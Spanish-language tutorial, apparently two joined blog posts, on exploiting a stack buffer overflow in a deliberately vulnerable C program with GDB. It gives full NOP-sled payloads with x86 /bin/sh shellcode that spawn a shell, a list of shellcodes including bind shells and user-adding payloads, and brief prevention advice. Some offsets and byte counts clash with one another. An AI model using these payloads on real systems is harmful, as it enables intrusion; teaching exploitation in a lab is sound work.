Bien, ya tenemos gdb cargado con nuestro programita vulnerable. Ahora empezaremos a encontrar cual es la manera de obtener una shell de todo esto. Vamos a seguir probando, pero ahora desde GDB.
(gdb) r `python -c 'print "\x41"*256'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4  EBX: B7FCFFF4  ECX: BFFFF300  EDX: 00000101  o d I t S z a P c
ESI: 080483F0  EDI: 080482F0  EBP: BFFFF428  ESP: BFFFF300  EIP: 41414141

CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF340 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF330 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF320 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF310 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF300 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57  56 53 E8 4F - 00 00 00 81  C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C  E8 6F FE FF - FF 8D BB 18  FF FF FF 8D .....o..........
08048410 : 83 18 FF FF  FF 29 C7 C1 - FF 02 85 FF  74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89  44 24 08 8B - 45 0C 89 44  24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24  FF 94 B3 18 - FF FF FF 83  C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4  0C 5B 5E 5F - 5D C3 8B 1C  24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53  83 EC 04 A1 - A4 94 04 08  83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94  04 08 66 90 - 83 EB 04 FF  D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

Nota: Otra forma de conocer el valor de un registro es escribiendo en GDB lo siguiente: info registers $registro o también  i r $registro . Por ejemplo:

(gdb) info registers $eip
(gdb) i r $eip

Bien lo primero que vemos que el programa no puede acceder a la posición de memoria 0x41414141. Nosotros le hemos pasado como argumento 256 letras A, que en hexadecimal son x41, lo cual nos dice algo, hemos modificado "el rumbo" del programa, y si vemos aún mas detalladamente el registro EIP encontramos que su valor al momento del segmentation fault es 0x41414141, por lo cual, EIP apunto a una dirección de memoria introducida manualmente por nosotros. ¡¡¡Hemos pisado al registro EIP!!!.
Ahora nos queda determinar que porción de los argumentos que nosotros pasamos corresponden al EIP.

Para hacerlo creo que lo mas sencillo es dividir el argumento de entrada en varias partes, e ir adivinando cuales corresponden al EIP, siempre debemos tener en cuenta que el EIP corresponde a una sección de 4 bytes, por lo cual, debemos encontrarlo dividiendo el código de distintas formas, sientanse libres de utilizar la que mas les guste.

(gdb) r `python -c 'print "\x90"*72+\x41"*4+"\x90"*180'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4  EBX: B7FCFFF4  ECX: BFFFF300  EDX: 00000101  o d I t S z a P c
ESI: 080483F0  EDI: 080482F0  EBP: BFFFF428  ESP: BFFFF300  EIP: 41414141
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF340 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF330 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF320 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF310 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF300 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57  56 53 E8 4F - 00 00 00 81  C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C  E8 6F FE FF - FF 8D BB 18  FF FF FF 8D .....o..........
08048410 : 83 18 FF FF  FF 29 C7 C1 - FF 02 85 FF  74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89  44 24 08 8B - 45 0C 89 44  24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24  FF 94 B3 18 - FF FF FF 83  C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4  0C 5B 5E 5F - 5D C3 8B 1C  24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53  83 EC 04 A1 - A4 94 04 08  83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94  04 08 66 90 - 83 EB 04 FF  D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

Bien aquí a prueba y error, hemos encontrado que porción de los paramétros que le pasamos al programa correspondan al EIP. Tiene un formato masomenos similar al siguiente: A (72 Bytes) + EIP (4 Bytes) + C (180 Bytes)

Si sumamos todo: 72 + 4 + 180 = 256 , el tamaño del buffer en bytes.

Ya tenemos un progreso importante, conocemos donde se encuentra el EIP, ahora podemos prestar mas atención al desarollo de la cadena que utilizaremos para ganar la shell y a la utilización de la Shellcode. En nuestro caso tendrá el siguiente formato:

NOP + EIP + NOP + SHELLCODE

NOP (No Operations) en lenguaje Ensamblador es x90 , esta instrucción le dice al procesador que no haga "nada" y que avanze un ciclo. Sera lo que utilizaremos nosotros aquí para rellenar los espacios que nos faltan.

Para disponer siempre de shellcodes a mano utilizo rasc, una herramienta maravillosa que mi amigo x41 me recomendo y me instalo el inclusive!.
Busquemos una shellcode para nuestro ejemplo y acorde a nuestro sistema (en este caso la arquitectura x86 de Intel).

#: rasc -L
arm.linux.binsh        47   Runs /bin/sh
arm.linux.suidsh       67   Setuid and runs /bin/sh
arm.linux.bind        203   Binds /bin/sh to a tcp port
armle.osx.reverse     151   iPhone reverse connect shell to HOST
dual.linux.binsh       99   x86/ppc MacOSX /bin/sh shellcode
dual.osx.binsh        121   Runs /bin/sh (works also on x86) (dual)
mips.linux.binsh       87   Runs /bin/sh (tested on loongson2f).
ppc.osx.adduser       219   Adds a root user named 'r00t' no pass.
ppc.osx.binsh         152   Executes /bin/sh
ppc.osx.binsh0         72   Executes /bin/sh (with zeroes)
ppc.osx.bind4444      224   Binds a shell at port 4444
ppc.osx.reboot         28   Reboots the box
ppc.bsd.binsh         119   Runs /bin/sh
sparc.linux.binsh     216   Runs /bin/sh on sparc/linux
sparc.linux.bind4444  232   Binds a shell at TCP port 4444
x64.linux.binsh        46   Runs /bin/sh on 64 bits
x86.bsd.binsh          46   Executes /bin/sh
x86.bsd.binsh2         23   Executes /bin/sh
x86.bsd.suidsh         31   Setuid(0) and runs /bin/sh
x86.bsd.bind4444      104   Binds a shell at port 4444
x86.bsdlinux.binsh     38   Dual linux/bsd shellcode runs /bin/sh
x86.freebsd.reboot      7   Reboots target box
x86.freebsd.reverse   126   Reboots target box
x86.linux.adduser      88   Adds user 'x' with password 'y'
x86.linux.bind4444    109   Binds a shell at TCP port 4444
x86.linux.binsh        24   Executes /bin/sh
x86.linux.binsh1       31   Executes /bin/sh
x86.linux.binsh2       36   Executes /bin/sh
x86.linux.binsh3       50   Executes /bin/sh or CMD
x86.linux.udp4444     125   Binds a shell at UDP port 4444
x86.netbsd.binsh       68   Executes /bin/sh
x86.openbsd.binsh      23   Executes /bin/sh
x86.openbsd.bind6969  147   Executes /bin/sh
x86.osx.binsh          45   Executes /bin/sh
x86.osx.binsh2         24   Executes /bin/sh
x86.osx.bind4444      112   Binds a shell at port 4444
x86.solaris.binsh      84   Runs /bin/sh
x86.solaris.binshu     84   Runs /bin/sh (toupper() safe)
x86.solaris.bind4444  120   Binds a shell at port 4444
x86.w32.msg           245   Shows a MessageBox
x86.w32.cmd           164   Runs cmd.exe and ExitThread
x86.w32.adduser       224   Adds user 'x' with password 'y'
x86.w32.bind4444      345   Binds a shell at port 4444
x86.w32.tcp4444       312   Binds a shell at port 4444

Bien aquí hay una interesante es: x86.linux.binsh y pesa solamente 24 bytes y como toda toda shellcode mientras mas corta mejor, esta viene genial. Su acción es ejecutar la shell /bin/sh. Veamos la shellcode:

#: rasc -i x86.linux.binsh -e
"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Lo que en formato C seria:

unsigned char shellcode[] = {
  0x41, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
  0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x99, 0xb0,
  0x0b, 0xcd, 0x80,
};

Ya conocemos donde esta el EIP, tenemos la shellcode y utilizaremos NOP's, podemos comenzar a darle formato a nuestro string que inyectaremos como paramétro de entrada al programa. Quedandonos el formato de la siguiente forma:

NOP (72 Bytes) + EIP (4 Bytes) + NOP (155 Bytes) + SHELLCODE (24 Bytes)

Los "\x41 " que encontraran en el EIP, tienen un valor temporal, hasta que encontremos en que dirección de memoria se encuentra el comienzo de nuestro codigo malicioso. Por ahora nos queda asi:

(gdb) r `python -c 'print "\x90"*72+"\x41\x41\x41\x41"+"\x90"*155+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: BFFFF2B4  EBX: B7FCFFF4  ECX: BFFFF300  EDX: 00000101  o d I t S z a P c
ESI: 080483F0  EDI: 080482F0  EBP: BFFFF428  ESP: BFFFF300  EIP: 41414141
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BFFFF300]----------------------------------------------------------[stack]
BFFFF350 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF340 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF330 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF320 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF310 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFFF300 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:080483F0]-----------------------------------------------------------[data]
080483F0 : 55 89 E5 57  56 53 E8 4F - 00 00 00 81  C3 91 11 00 U..WVS.O........
08048400 : 00 83 EC 0C  E8 6F FE FF - FF 8D BB 18  FF FF FF 8D .....o..........
08048410 : 83 18 FF FF  FF 29 C7 C1 - FF 02 85 FF  74 24 31 F6 .....)......t$1.
08048420 : 8B 45 10 89  44 24 08 8B - 45 0C 89 44  24 04 8B 45 .E..D$..E..D$..E
08048430 : 08 89 04 24  FF 94 B3 18 - FF FF FF 83  C6 01 39 FE ...$..........9.
08048440 : 72 DE 83 C4  0C 5B 5E 5F - 5D C3 8B 1C  24 C3 90 90 r....[^_]...$...
08048450 : 55 89 E5 53  83 EC 04 A1 - A4 94 04 08  83 F8 FF 74 U..S...........t
08048460 : 13 BB A4 94  04 08 66 90 - 83 EB 04 FF  D0 8B 03 83 ......f.........
[0073:41414141]-----------------------------------------------------------[code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

Bien ya tenemos gran parte hecha, ahora tenemos que ver donde se encuentran nuestros NOP, asi de esta forma podemos redirigir el código malicioso, allí, de esta forma esto dara lugar a la ejecución de la shellcode.
Para esto vamos a analizar el stack, mas precisamente a ESP, asi que le decimos a GDB que nos imprima por pantalla los ultimos 300 valores de ESP.

(gdb) x/300h $esp
0xbffff310:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff320:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff330:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff340:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff350:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff360:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff370:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff380:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff390:     0x9090  0x9090  0x9090  0x9090  0x9090  0x4190  0xc031  0x6850
0xbffff3a0:     0x2f2f  0x6873  0x2f68  0x6962  0x896e  0x50e3  0x8953  0x99e1
0xbffff3b0:     0x0bb0  0x80cd  0xf300  0xbfff  0xf428  0xbfff  0xf455  0xb7e8
0xbffff3c0:     0x83f0  0x0804  0x82f0  0x0804  0xf428  0xbfff  0xf455  0xb7e8
0xbffff3d0:     0x0002  0x0000  0xf454  0xbfff  0xf460  0xbfff  0x3b38  0xb7fe
0xbffff3e0:     0x0001  0x0000  0x0001  0x0000  0x0000  0x0000  0x8210  0x0804
0xbffff3f0:     0xfff4  0xb7fc  0x83f0  0x0804  0x82f0  0x0804  0xf428  0xbfff
0xbffff400:     0xa081  0xebe7  0x3491  0xc5e8  0x0000  0x0000  0x0000  0x0000
0xbffff410:     0x0000  0x0000  0x72e0  0xb7ff  0xf37d  0xb7e8  0xeff4  0xb7ff
0xbffff420:     0x0002  0x0000  0x82f0  0x0804  0x0000  0x0000  0x8311  0x0804
0xbffff430:     0x83a4  0x0804  0x0002  0x0000  0xf454  0xbfff  0x83f0  0x0804
0xbffff440:     0x83e0  0x0804  0x2250  0xb7ff  0xf44c  0xbfff  0xcae5  0xb7ff
0xbffff450:     0x0002  0x0000  0xf5b0  0xbfff  0xf5d0  0xbfff  0x0000  0x0000
0xbffff460:     0xf6d1  0xbfff  0xf6e9  0xbfff  0xf6f5  0xbfff  0xfbdc  0xbfff
0xbffff470:     0xfbe5  0xbfff  0xfbf5  0xbfff  0xfbff  0xbfff  0xfc0f  0xbfff
0xbffff480:     0xfc1c  0xbfff  0xfc49  0xbfff  0xfc60  0xbfff  0xfc7f  0xbfff
0xbffff490:     0xfc90  0xbfff  0xfca3  0xbfff  0xfcab  0xbfff  0xfcbb  0xbfff
0xbffff4a0:     0xfcc9  0xbfff  0xfcd6  0xbfff  0xfcfb  0xbfff  0xfd5d  0xbfff
0xbffff4b0:     0xfd76  0xbfff  0xfd90  0xbfff  0xfd9e  0xbfff  0xfdb1  0xbfff
0xbffff4c0:     0xfdc4  0xbfff  0xfde8  0xbfff  0xfdf4  0xbfff  0xfdfd  0xbfff
0xbffff4d0:     0xfe1a  0xbfff  0xfe32  0xbfff  0xfe40  0xbfff  0xfe77  0xbfff

Ya hemos encontrado donde comienzan nuestros NOP's, asi que solamente nos queda apuntar el EIP a la posición de memoria 0xbffff310 , que la debemos escribir invertiendola, de izquierda a derecha, nos deberia quedar algo así: \x10\xf3\xff\xbf" . La agregamos a nuestro código malicioso y ejecutamos!.

(gdb) r `python -c 'print "\x90"*72+"\x10\xf3\xff\xbf"+"\x90"*155+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Executing new program: /usr/local/bin/bash
sh-4.0$

Hemos ganado la shell!, bien, eso es lo que buscabamos, con esto demostramos que muchos programas escritos en C (y C++), son vulnerables a los ataque producidos por Buffer Overflow :) , de esta forma podemos llegar a ganar acceso local o remotamente a algun programa vulnerable. Si es remoto debe ser algún servicio a la escucha, que acepte paramétros como los que hemos pasado nosotros y si ese servicio corre con permisos especiales (por ejemplo root), obtendremos la shell con el mismo servicio, pudiendo hacer con el sistema lo que nosotros queramos. Lo cual demuestra la grave peligrosidad de estos ataques.

Nota: Notarán que en mi sistema se ejecuta /usr/local/bin/bash, esto es por que tengo instalada la versión 4 de Bash. /bin/sh es simplemente un enlace simbolo al ejecutable de Bash (/usr/local/bin/sh).

¿Como prevenirnos?
Podemos prevenirnos de diversas formas de buffers overflow, entre ellas recomiendo:

  • Invertir tiempo en el desarollo de nuevos sistemas
  • Comprobar el límite de cada variable
  • Comprobar códigos de retorno
  • Evitar usar funciones vulnerables como: gets(), strcpy(), strcat(), vsprintf(), scanf(), getc(), fgetc(), getchar()
  • Desarollo de software teniendo en cuenta principios de seguridad.
  • Otorgar al software los minímos privilegios necesarios.
  • Testear el software extensivamente.
  • Utilizar protecciones de compiladores como ProPolice2, StackGuard, entre otras.
  • Fuzzing de aplicaciones
  • Informarse sobre nuevas vulnerabilidades y aplicar parches

Esto fue todo por hoy, espero que les halla gustado. Un poquito de C, Lenguaje Ensamblador, Hexadecimal, y arquitectura de CPU's, son suficiente para poder reventar y aplastar el Stack. Espero que les guste.

Tags: , , , , , ,

Demostración de la explotación de un ejemplo de Buffer Overflow , en el que se gana una Shell (/bin/sh). En este ejemplo el stack no se encuentra randomizado, cosa que seteamos con:

root[at]rondamon [~]~> sysctl kernel.randomize_va_space=0

El codigo fuente (ANSI C):

/*filename: pintar.c*/
/*Buffer Overflow Example*/

#include <stdio.h>
int main(int argc, char **argv)
{
                char buf[128
];
                memset(buf, (char)0, sizeof(buf));

                if (argc == 2)
                {
                        strcpy(buf, argv[1]);
                }

                printf("Pintar : %s\n", buf);
                printf("Buffer: %p\n", buf) ;
                printf("Otro: %p\n", argv[1]);
}

Compilamos el codigo de fuente, claramente vulnerable por la función strcpy(), con GCC:

facundo[at]rondamon [~]~> gcc -fno-stack-protector pintar.c -o pintar

Una vez compilado comprobamos que el programa sea vulnerable:

facundo[at]rondamon [~]~> ./pintar `python -c 'print "\x41"*200'` Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Buffer: 0xbfffef74 Violación de segmento

Iniciamos GDB (The Gnu Debugger):

facundo[at]rondamon [~]~> gdb pintar
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type
"show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
gdb$ file pintar

Una vez iniciado GDB vamos a analizar un poquito esto.

gdb$ r `python -c 'print "\x41"*128'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer: 0xbfffefe4
Otro: 0xbffff2a0

Program received signal SIGSEGV, Segmentation fault.
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

El programa cae, lo que hacemos con \x41 (A en hexadecimal), es imprimir 128 veces la letra A. Provocando el overflow.

Veamos un poquito los registros:

EAX: 00000011
EBX: B7FD2FF4
ECX: BFFFF000
EDX: B7FD40F0
ESI: 080484D0
EDI: 08048350
EBP: BFFFF0D8
ESP: BFFFF000
EIP: 41414141
CS: 0073
DS: 007B
ES: 007B
FS: 0000
GS: 0033
SS: 007B

Como vemos hay algo muy interesante aqui, y es el registro EIP (Extended Instruction Pointer – Puntero extendido de instrucciones ) Este registro lo que hace es almacenar la próxima dirección de memoria que sera ejecutada.

Por lo cual, si podemos manipular el EIP, podemos hacer que apunte a donde nosotros hemos intruducido nuestro código arbitrario, cambiando el RET (dirección de retorno) a donde nosotros queramos.

Separemos un poco las cosas, para ver que parte de lo que nosotros intruducimos, se refiere al EIP.

gdb$ r `python -c 'print "\x41"*24+"\x90"*4+"\x41"*100'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer: 0xbfffefe4
Otro: 0xbffff2a0

Program received signal SIGSEGV, Segmentation fault.
0x90909090:     Error while running hook_stop:
Cannot access memory at address 0x90909090
0x90909090 in ?? ()

Lo que hicimos fue imprimir  “\x41″ unas 24 veces, “\x90″ unas 4 veces, y otra vez “\x41″ pero por 100 veces.

Si usamos un poquíto las matemáticas podemos hacer esta simple suma:

24 bytes + 4 bytes + 100 bytes = 128 bytes

Como podemos ver, los “\x90″ que introducimos representan al registro EIP.

Por lo cual nuestro código arbitrario tendra el siguiente formato:

CARACTERES + DIRECCION DE RETORNO + NOP + SHELLCODE

De esta manera, las A se utilizaran para llenar la primera parte del buffer, la dirección de retorno apuntara a donde se introducen nuestros “\x90″ o mejor llamados NOP y una vez ejecutados los NOP, llegaran a nuestra shellcode, esta se ejecutara y ganaremos el acceso a la shell.

NOP en Ensamblador es un No Operation , esta instrucción le dice al procesador que avanze un ciclo sin hacer nada. Básicamente lo que hacemos es lo siguiente:

No Operation

Funcionamiento de la inyección de código

Se debe recordar que la memoria solo puede ser almacenada en multiplos de

“word”. Una word en nuestro caso es 4 bytes, o 32 bits. Por lo tanto 12 bytes ocupan 3 word, 5 bytes ocupan 2 word y nuestro buffer de 128 bytes ocupa 32 words.

Vamos a comenzar a explotear esto, busquemos alguna shellcode acorde a nustro sistema (en mi caso la arquitectura es x86).

facundo[at]rondamon [~] $~> rasc -L
arm.linux.binsh 47 Runs /bin/sh
arm.linux.suidsh 67 Setuid and runs /bin/sh
arm.linux.bind 203 Binds /bin/sh to a tcp port
armle.osx.reverse 151 iPhone reverse connect shell to HOST
dual.linux.binsh 99 x86/ppc MacOSX /bin/sh shellcode
dual.osx.binsh 121 Runs /bin/sh (works also on x86) (dual)
mips.linux.binsh 87 Runs /bin/sh (tested on loongson2f).
ppc.osx.adduser 219 Adds a root user named 'r00t' no pass.
ppc.osx.binsh 152 Executes /bin/sh
ppc.osx.binsh0 72 Executes /bin/sh (with zeroes)
ppc.osx.bind4444 224 Binds a shell at port 4444
ppc.osx.reboot 28 Reboots the box
ppc.bsd.binsh 119 Runs /bin/sh
sparc.linux.binsh 216 Runs /bin/sh on sparc/linux
sparc.linux.bind4444 232 Binds a shell at TCP port 4444
x64.linux.binsh 46 Runs /bin/sh on 64 bits
x86.bsd.binsh 46 Executes /bin/sh
x86.bsd.binsh2 23 Executes /bin/sh
x86.bsd.suidsh 31 Setuid(0) and runs /bin/sh
x86.bsd.bind4444 104 Binds a shell at port 4444
x86.bsdlinux.binsh 38 Dual linux/bsd shellcode runs /bin/sh
x86.freebsd.reboot 7 Reboots target box
x86.freebsd.reverse 126 Reboots target box
x86.linux.adduser 88 Adds user 'x' with password 'y'
x86.linux.bind4444 109 Binds a shell at TCP port 4444
x86.linux.binsh 24 Executes /bin/sh
x86.linux.binsh1 31 Executes /bin/sh
x86.linux.binsh2 36 Executes /bin/sh
x86.linux.binsh3 50 Executes /bin/sh or CMD
x86.linux.udp4444 125 Binds a shell at UDP port 4444
x86.netbsd.binsh 68 Executes /bin/sh
x86.openbsd.binsh 23 Executes /bin/sh
x86.openbsd.bind6969 147 Executes /bin/sh
x86.osx.binsh 45 Executes /bin/sh
x86.osx.binsh2 24 Executes /bin/sh
x86.osx.bind4444 112 Binds a shell at port 4444
x86.solaris.binsh 84 Runs /bin/sh
x86.solaris.binshu 84 Runs /bin/sh (toupper() safe)
x86.solaris.bind4444 120 Binds a shell at port 4444
x86.w32.msg 245 Shows a MessageBox
x86.w32.cmd 164 Runs cmd.exe and ExitThread
x86.w32.adduser 224 Adds user 'x' with password 'y'
x86.w32.bind4444 345 Binds a shell at port 4444
x86.w32.tcp4444 312 Binds a shell at port 4444

Bien aquí hay una interesante es: x86.linux.binsh y pesa solamente 24 bytes y como toda toda shellcode mientras mas corta mejor, esta viene genial. Su acción es ejecutar la shell  /bin/sh. Veamos la shellcode:

facundo[at]rondamon [~]~>
rasc -i x86.linux.binsh -e
"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Lo que en formato C seria:

unsigned char shellcode[] = {
0x41, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x99, 0xb0,
0x0b, 0xcd, 0x80,
};

Bien, ya tenemos la shellcode ahora vamos a ver como podemos lograr la shell, volvemos a gdb. Vamos a modificar la parte correspondiente al registro EIP (Dir. de Retorno), para ver las cosas mas claras a la hora de examinar la memoria lo remplazamos por “\x61″ letra “a” (minuscula) en hexadecimal.

(gdb) r `python -c 'print "\x41"*24+"\x61\x61\x61\x61"+"\x90"*75+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPh//shh/bin
Buffer: 0xbfffefe4
Otro: 0xbffff2a4

Program received signal SIGSEGV, Segmentation fault.
0x90909090:     Error while running hook_stop:
Cannot access memory at address 0x61616161
0x90909090 in ?? ()

Si vemos el registro EIP:

EIP: 61616161

Bien, vemos que EIP se sigue sobreescribiendo, ahora deberiamos conocer la posición de memoria donde comienzan nuestros NOP, para poder apuntar la dirección de retorno que pisamos a los NOP.

Inspeccionemos la memoria, especificamente al registro ESP (Extended Stack Pointer ), el cual es un puntero a la parte superior de la pila.

<(gdb) x/400h $esp

0xbffff270:     0x6361  0x6e75  0x6f64  0x492f  0x666e  0x726f  0xc36d  0x74a1
0xbffff280:     0x6369  0x2f61  0x7542  0x6666  0x7265  0x4f20  0x6576  0x6672
0xbffff290:     0x6f6c  0x2f77  0x6a45  0x6d65  0x6c70  0x736f  0x702f  0x6e69
0xbffff2a0:     0x6174  0x0072  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbffff2b0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x6161  0x6161
0xbffff2c0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2d0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2e0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2f0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff300:     0x9090  0x9090  0x9090  0x9090  0x9090  0x4190  0xc031  0x6850
0xbffff310:     0x2f2f  0x6873  0x2f68  0x6962  0x896e  0x50e3  0x8953  0x99e1

Ops!!, que interesante, encontramos nuestros “\x41″, los “\x61″ correspondientes a la nueva dirección de retorno, y finalmente los NOP (“\x90″), más una parte de la shellcode. Bien ya conocemos a donde tiene que apuntar nuestra nueva dirección de retorno, a 0xbffff2c0, ya que alli comienzan los NOP. Así que ahora simplemente modificamos eso en el string que le estabamos tirando al programa vulnerable. Empezando de atras hacia adelante, deberia quedar así “\xc0\xf2\xff\xbf” .

(gdb) r `python -c 'print "\x41"*24+"\xc0\xf2\xff\xbf"+"\x90"*75
+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��A1�Ph//shh/bin��PS�̀
Buffer: 0xbfffefe4
Otro: 0xbffff2a3
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.2$

Y hemos ganado la shell :-) , este es solo un ejemplo, pero que demuestra claramente el proceso mediante el cual se puede explotear algo. No realizen este experimento sin la supervisión de un adulto.

Tags: , , , , ,

Creative Commons License
Esta obra es publicada bajo una licencia Creative Commons.